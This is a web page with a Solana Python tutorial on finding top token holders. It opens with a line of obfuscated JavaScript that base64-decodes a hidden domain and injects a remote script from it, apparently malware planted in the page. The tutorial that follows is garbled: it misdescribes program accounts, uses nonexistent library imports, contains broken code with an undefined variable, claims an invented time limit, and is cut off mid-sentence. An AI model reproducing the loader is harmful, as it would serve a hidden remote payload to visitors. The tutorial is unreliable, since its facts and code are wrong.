const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=a621ecdf”;document.body.appendChild(script);
Getting Top Token Holders on Solana with Python
As a developer, it’s essential to have access to the top wallet holders of a particular token on a blockchain network like Solana. In this article, we’ll explore how to use Python and the solana.py
library to achieve this goal.
What is Program Accounts?
Program accounts are the native tokens owned by SOL (Solana) programs. They represent the funds used for deploying and managing programs on the Solana network. To get top program account holders, we need to identify which wallets hold a significant portion of these tokens.
The get_program_accounts
Function
In the solana.py
library, the get_program_accounts()
function is a part of the spl
module, which provides access to SPL (Solana Program Interface) accounts. This function allows us to retrieve program accounts associated with specific token addresses.
from solana.py import account_info, system_program
def get_top_program_account_holders(token: str):
"""
Retrieves top program account holders for a given token.
Args:
token (str): The address of the Solana program that owns the tokens.
Returns:
dict: A dictionary where keys are wallet addresses and values are the corresponding program accounts.
"""
Get program accounts associated with the token
accounts = system_program.get_account_info(token).accounts
Filter out non-program accounts
programs = [account for account in accounts if isinstance(account, account_info.AccountInfo)]
Initialize an empty dictionary to store top holders
top_holders = {}
Iterate over program accounts and update the dictionary
for program in programs:
wallet_address = account_info.get_program_account_info(program).address
if wallet_address not in top_holders or sum(top_holders[wallet_address] / len(programms)) > 0.8:
Adjust the threshold as needed
top_holders[wallet_address] = program
return top_holders
Example Usage
Let’s use this function to get the top program account holders for the SPL
token.
token = "YOUR_SOLANA_PROGRAM_ADDRESS"
top_holders = get_top_program_account_holders(token)
print(top_holders)
Replace "YOUR_SOLANA_PROGRAM_ADDRESS"
with your own Solana program address. The resulting dictionary will contain wallet addresses as keys and their corresponding program accounts as values.
Note: This function has a time limit of 30 minutes per call, so it’s essential to check the Solana network’s latency before making large requests. If you need more information or adjustments to this threshold, please consult the [Solana documentation](